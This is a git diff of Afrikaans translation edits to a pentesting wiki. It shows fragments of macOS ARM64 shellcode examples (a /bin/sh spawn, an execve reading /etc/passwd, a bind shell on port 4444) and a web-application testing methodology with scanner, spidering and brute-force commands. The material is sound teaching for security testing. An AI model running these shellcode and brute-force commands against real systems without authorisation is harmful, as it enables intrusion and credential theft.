-C kode om die shellcode te toets +C code om die shellcode te toets ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -467,7 +470,7 @@ return 0; #### Shell -Geneem uit [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik. +Geneem van [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik. {{#tabs}} {{#tab name="with adr"}} @@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="met stap"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="met adr vir linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh" #### Lees met cat -Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, so die tweede argument (x1) is 'n array van parameters (wat in geheue 'n stapel van die adresse beteken). +Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, dus is die tweede argument (x1) 'n array van params (wat in geheue beteken 'n stack van adresse). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Roep opdrag met sh vanaf 'n fork sodat die hoofproses nie doodgemaak word nie +#### Roep 'n opdrag met sh van 'n fork sodat die hoofproses nie gedood word nie ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell van [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **port 4444** +Bind shell van [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) op **port 4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 1741a52c0..84968df4d 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## Basiese Inligting -Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**. +Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende soorte kwesbaarhede**. -**Standaardpoort:** 80 (HTTP), 443(HTTPS) +**Standaard port:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## Metodologie opsomming +## Metodologie-opsomming -> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) gaan aanval en slegs daardie. Pas dus hierdie metodologie toe op elke ontdekte domein, subdomein of IP met 'n ongedetermineerde webserver binne die omvang. +> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) en slegs dit gaan aanval. Dus moet jy hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n onbepaalde webbediener binne die scope. -- [ ] Begin deur die **tegnologieë** wat deur die webserver gebruik word, te **identifiseer**. Soek vir **truuks** om in gedagte te hou gedurende die res van die toets as jy die tech suksesvol kan identifiseer. -- [ ] Is daar enige **bekende vulnerability** van die weergawe van die tegnologie? -- [ ] Word enige **well known tech** gebruik? Enige **useful trick** om meer inligting te onttrek? -- [ ] Is daar enige **specialised scanner** om te gebruik (soos wpscan)? -- [ ] Begin met **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting gaan blootlê nie. -- [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (as HTTPS). -- [ ] Begin **spidering** van die webblad: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind**. Kontroleer ook vir **special findings**. -- [ ] _Let daarop dat enige tyd 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit gespidered moet word._ -- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**. -- [ ] _Let daarop dat enige tyd 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit Brute-Forced moet word._ -- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup-uitbreidings by te voeg. -- [ ] **Brute-Force parameters**: Probeer om **hidden parameters** te vind. -- [ ] Sodra jy alle moontlike **endpoints** wat **user input** aanvaar **identified** het, kontroleer vir alle soorte **vulnerabilities** wat daarmee verband hou. -- [ ] [Volg hierdie checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Begin deur die **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek **truuks** om gedurende die res van die toets in gedagte te hou as jy die tegnologie suksesvol kan identifiseer. +- [ ] Enige **bekende vulnerabilities** in die weergawe van die tegnologie? +- [ ] Gebruik jy enige **well known tech**? Enige **useful trick** om meer inligting te onttrek? +- [ ] Enige **specialised scanner** om te laat loop (soos wpscan)? +- [ ] Start **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting sal blootlê nie. +- [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (if HTTPS). +- [ ] Begin **spidering** van die webblad: dit is tyd om alle moontlike **files, folders** en **parameters being used** te **find**. Kontroleer ook vir **special findings**. +- [ ] _Let daarop dat elke keer wanneer 'n nuwe gids tydens brute-forcing of spidering ontdek word, dit gespider moet word._ +- [ ] **Directory Brute-Forcing**: Probeer om alle ontdekte gidse te brute-force om na nuwe **files** en **directories** te soek. +- [ ] _Let daarop dat elke keer wanneer 'n nuwe gids tydens brute-forcing of spidering ontdek word, dit Brute-Forced moet word._ +- [ ] **Backups checking**: Toets of jy **backups** van **discovered files** kan vind deur algemene backup-uitbreidings aan te heg. +- [ ] **Brute-Force parameters**: Probeer om **find hidden parameters**. +- [ ] Sodra jy al die moontlike **endpoints** wat **user input** aanvaar, **identified** het, kyk na alle soorte **vulnerabilities** wat daarmee verband hou. +- [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Kwetsbaar?) +## Bedienerweergawe (Kwetsbaar?) ### Identifiseer -Kontroleer of daar **known vulnerabilities** is vir die server **version** wat loop.\ -Die **HTTP headers** en **cookies** van die response kan baie nuttig wees om die **tegnologieë** en/of **version** wat gebruik word te **identify**. **Nmap scan** kan die server version identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:** +Kontroleer of daar **bekende vulnerabilities** vir die bediener **weergawe** wat loop is.\ +Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap scan** kan die bedienerweergawe identifiseer, maar die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Soek **na** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md) +Search **for** [**kwesbaarhede van die webtoepassing weergawe**](../../generic-hacking/search-exploits.md) -### **Kyk of daar 'n WAF is** +### **Check if any WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web-tegnologie truuks +### Web tech tricks -Sommige **truuks** om **kwesbaarhede te vind** in verskillende bekende **tegnologieë** wat gebruik word: +Sommige **truuks** om **kwesbaarhede te vind** in verskillende goed-bekende **tegnologieë** wat gebruik word: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,28 +101,27 @@ Sommige **truuks** om **kwesbaarhede te vind** in verskillende bekende **tegnolo - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Neem in ag dat dieselfde **domein** verskillende **tegnologieë** op verskillende **porte**, **gidse** en **subdomeine** kan gebruik._\ -As die webtoepassing enige bekende **tegnologie/platform wat hierbo gelys is** of **enige ander** gebruik, moenie vergeet om op die Internet na nuwe truuks te **soek** (en laat my weet!). +Neem in ag dat dieselfde **domein** verskillende **tegnologieë** op verskillende **poorte**, **gidse** en **subdomeine** kan gebruik.\ +As die webtoepassing enige welbekende **tegnologie/platform** gebruik wat hierbo gelys is of enige ander, moenie vergeet om op die Internet na nuwe truuks te soek (en laat weet my!). -### Bronkode hersiening +### Source Code Review -As die **bronkode** van die toepassing in **github** beskikbaar is, behalwe om self 'n White box test van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**: +As die **bronkode** van die toepassing op **github** beskikbaar is, benewens om self 'n White box test van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**: -- Is daar 'n **Change-log or Readme or Version** lêer of enigiets met **weergawe-inligting toeganklik** via die web? +- Is daar 'n **Change-log of Readme of Version** lêer of enigiets met **weergawe-inligting** wat via die web toeganklik is? - Hoe en waar word die **credentials** gestoor? Is daar enige (toeganklike?) **lêer** met credentials (gebruikersname of wagwoorde)? -- Is die **passwords** in **plain text** of **encrypted**, en watter **hashing algorithm** word gebruik? -- Gebruik dit enige **master key** om iets te enkripteer? Watter **algorithm** word gebruik? -- Kan jy deur 'n kwesbaarheid uit te buit toegang tot enige van hierdie **lêers** kry? -- Is daar enige **interessante inligting in die github** (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien 'n **password** wat in 'n ou commit ingevoeg is)? - +- Is **wagwoorde** in **plain text**, **encrypted** of watter **hashing algoritme** word gebruik? +- Gebruik dit enige **master key** om iets te enkripteer? Watter **algoritme** word gebruik? +- Kan jy enige van hierdie lêers bekom deur 'n kwesbaarheid uit te buit? +- Is daar enige interessante inligting in die github (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien is 'n wagwoord in 'n ou commit ingevoer)? {{#ref}} code-review-tools.md {{#endref}} -### Outomatiese skandeerders +### Automatic scanners -#### Algemene doeleindes outomatiese skandeerders +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -134,12 +133,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS skandeerders +#### CMS-skandeerders -As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te laat loop** nie — dalk word iets sappigs gevind: +As 'n CMS gebruik word, moenie vergeet om **run a scanner** nie — dalk vind jy iets sappigs: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir sekuriteitskwessies. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir sekuriteitsprobleme. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **of** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,45 +148,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Op hierdie stadium behoort jy reeds sekere inligting te hê oor die webbediener wat deur die kliënt gebruik word (as enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is het jy selfs 'n CMS gevind en 'n scanner uitgevoer. +> Op hierdie punt behoort jy reeds 'n bietjie inligting te hê oor die webbediener wat deur die kliënt gebruik word (indien enige data gegee is) en 'n paar wenke om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n scanner laat loop. -## Stap-vir-stap Webtoepassingsontdekking +## Stap-vir-stap Webtoepassing-ontdekking -> Vanaf hierdie punt gaan ons begin om met die webtoepassing te interakteer. +> Vanaf hierdie punt gaan ons begin met interaksie met die webtoepassing. -### Aanvanklike kontroles +### Aanvanklike kontrole -**Standaardbladsye met interessante inligting:** +**Standaard bladsye met interessante inligting:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Kyk ook na kommentaar in die hoof- en sekondêre bladsye. +- Kontroleer ook kommentare in die hoof- en sekondêre bladsye. **Foute afdwing** -Webbedieners kan **onvoorspelbaar optree** wanneer vreemde data na hulle gestuur word. Dit kan **vulnerabilities** of **disclosure sensitive information** openbaar. +Webbedieners kan **onvoorspelbaar optree** wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** ontsluit of die **onthulling van sensitiewe inligting** veroorsaak. -- Kry toegang tot **vals bladsye** soos /whatever_fake.php (.aspx,.html,.etc) -- **Voeg "\[]", "]]", en "\[\["** in **cookie values** en **parameter** values om foute te veroorsaak -- Genereer 'n fout deur invoer te gee as **`/~randomthing/%s`** aan die **end** van die **URL** -- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of foutiewe soos FAKE +- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.etc) +- **Voeg "\[]", "]]", en "\[\["** by **cookie values** en **parameter values** om foute te skep +- Genereer 'n fout deur inset as **`/~randomthing/%s`** by die **end** van die **URL** te gee +- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of verkeerde soos FAKE -#### **Kyk of jy lêers kan oplaai (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -As jy vind dat **WebDav** **geaktiveer** is maar jy nie genoeg toestemmings het vir **uploading files** in die wortelmap nie, probeer om: +As jy vind dat **WebDav** **ingeskakel** is maar jy het nie genoeg toestemmings om **lêers op te laai** in die root-lêergids nie, probeer om: - **Brute Force** credentials -- **Upload files** via WebDav na die res van die **found folders** binne die webblad. Jy mag permissies hê om lêers in ander vouers op te laai. +- **Upload files** via WebDav na die **res** van die **found folders** binne die webblad. Jy mag dalk toestemmings hê om lêers in ander vouers op te laai. -### **SSL/TLS kwesbaarhede** +### **SSL/TLS vulnerabilites** -- As die toepassing **nie die gebruiker na HTTPS dwing** in enige deel nie, is dit kwesbaar vir MitM -- As die toepassing **gevoelige data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid. +- As die toepassing **nie die gebruiker tot HTTPS dwing** in enige deel nie, is dit **vatbaar vir MitM** +- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid. -Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **vulnerabilities** (In Bug Bounty programs waarskynlik hierdie soort vulnerabilities nie aanvaar sal word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die vulnerabilities weer te kontroleer: +Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty programs waarskynlik hierdie soort kwesbaarhede nie aanvaar sal word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)to herkontroleer die kwesbaarhede: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -196,60 +195,60 @@ Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontrolee sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +Inligting oor SSL/TLS kwetsbaarhede: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Launch some kind of **spider** inside the web. The doel van die **spider** is om **soveel paaie as moontlik te vind** van die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind. +Start 'n soort **spider** binne die web. Die doel van die spider is om soveel moontlike paaie van die getoetste toepassing te **vind**. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldig paaie as moontlik te ontdek. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS files en Archive.org as eksterne bron. +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, met LinkFinder vir JS files en Archive.org as eksterne bron. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan. -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Soek ook in Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie tool is nie 'n spider nie maar kan nuttig wees. Jy kan 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host haal en die response stoor. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou, die voorafgekompileerde weergawe is oud en die huidige kode kompileer nie. -- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl). -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie script sal URLs met parameters vind en dit lys. +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook by Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie maar kan nuttig wees. Jy kan 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host haal en die response stoor. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie. +- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie script sal URLs met parameters vind en hulle lys. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS rendering vermoëns. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML bron en ingeslote javascript-lêers. Nuttig vir bug hunters, red teamers, infosec ninjas. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit is ook die moeite werd om [JSScanner](https://github.com/dark-warlord14/JSScanner) te bekyk, wat 'n wrapper van LinkFinder is. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML source en embedded javascript files. Nuttig vir bug hunters, red teamers, infosec ninjas. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 script wat Tornado en JSBeautifier gebruik om relatiewe URLs uit JavaScript files te parse. Nuttig om AJAX requests maklik te ontdek. Lyk ononderhou. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URLs daaruit onttrek met 'n slim regex om relatiewe URLs uit geminifiseerde lêers te kry. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie tools): Versamel interessante inligting uit JS files met verskeie tools. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URLs onttrek met 'n netjiese regular expression om relatiewe URLs uit lelike (minified) files te haal. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Versamel interessante inligting uit JS files deur verskeie tools te gebruik. - [**subjs**](https://github.com/lc/subjs) (go): Vind JS files. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gelaai is om die bladsy te laai. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools kombineer. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools meng. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om paaie en params in JS files te vind. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n tool wat, gegewe die .js.map URL, die beautified JS kode kry. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 'n tool wat gebruik word om endpoints vir 'n gegewe target te ontdek. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links vanaf die wayback machine (laai ook responses af in die wayback en soek meer links). +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Tool wat, gegewe die .js.map URL, die beautified JS kode vir jou sal kry. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie tool word gebruik om endpoints vir 'n gegewe target te ontdek. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback machine (laai ook responses af van die wayback en soek meer skakels). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur vorms in te vul) en vind ook sensitiewe info met spesifieke regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir cyber security professionals. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets, en ander interessante data uit JavaScript source code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **parameters en endpoints te onttrek** vanaf requests om custom wordlists vir fuzzing en enumerasie te skep. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Fantastiese tool hiervoor. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke link wat dit kan vind. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir kuberveiligheid professionele persone. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets en ander interessante data uit JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **parameters en endpoints te onttrek** uit requests om 'n pasgemaakte wordlist vir fuzzing en enumerasie te skep. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Geweldige tool hiervoor. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat hy kan vind. ### Brute Force directories and files -Start **brute-forcing** from the root folder en maak seker om **al** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit **rekursief** brute-force en by die begin van die gebruikte woordlys die name van die gevonde directories voeg).\ +Begin met **brute-forcing** vanaf die root-gids en maak seker om **al** die **directories wat gevind is** te brute-force deur **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit **rekursief** brute-force en by die begin van die gebruikte wordlist die name van die gevonde directories aanhang).\ Tools: -- **Dirb** / **Dirbuster** - Inklusief in Kali, **oud** (en **stadig**) maar funksioneel. Laat self-gesertifiseerde sertifikate toe en rekursiewe soektog. Te stadig vergelyk met die ander opsies. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-gesertifiseerde sertifikate toe nie maar** laat rekursiewe soektog toe. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit laat self-gesertifiseerde sertifikate toe, dit **het nie** rekursiewe soektog nie. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** +- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **lanksaam**) maar funksioneel. Ondersteun self-ondertekende sertifikate en rekursiewe soektog. Te stadig vergeleke met die ander opsies. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit ondersteun nie self-ondertekende sertifikate nie maar** laat rekursiewe soektog toe. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit ondersteun self-ondertekende sertifikate, dit **het nie** rekursiewe soektog nie. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinnig, ondersteun rekursiewe soektog.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinnig: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n tool wat, gegewe 'n lys van gevonde URLs, "gedupliseerde" URLs sal verwyder. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys directories te skep vanaf die burp history van verskillende bladsye. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys van directories te skep vanaf die burp history van verskeie bladsye. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URLs met gedupliseerde funksionaliteite (gebaseer op js imports). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Gebruik wapalyzer om gebruikte tegnologieë te ontdek en kies die woordlyste om te gebruik. +- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te identifiseer en die wordlists te kies wat gebruik moet word. -**Recommended dictionaries:** +**Aanbevole woordlyste:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -268,41 +267,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Sien dat elke keer as 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit Brute-Forced moet word._ +_Let wel: enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, behoort dit Brute-Forced te word._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke links binne HTMLs wat vatbaar kan wees vir takeovers. -- **File Backups**: Sodra jy al die files gevind het, kyk vir backups van uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die naam van 'n backup is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.** -- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. Indien moontlik, probeer om versteekte parameters op elke uitvoerbare web-lêer te soek.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTMLs wat vatbaar kan wees vir takeovers. +- **File Backups**: Sodra jy al die files gevind het, soek na backups van al die uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die naam van 'n backup is: 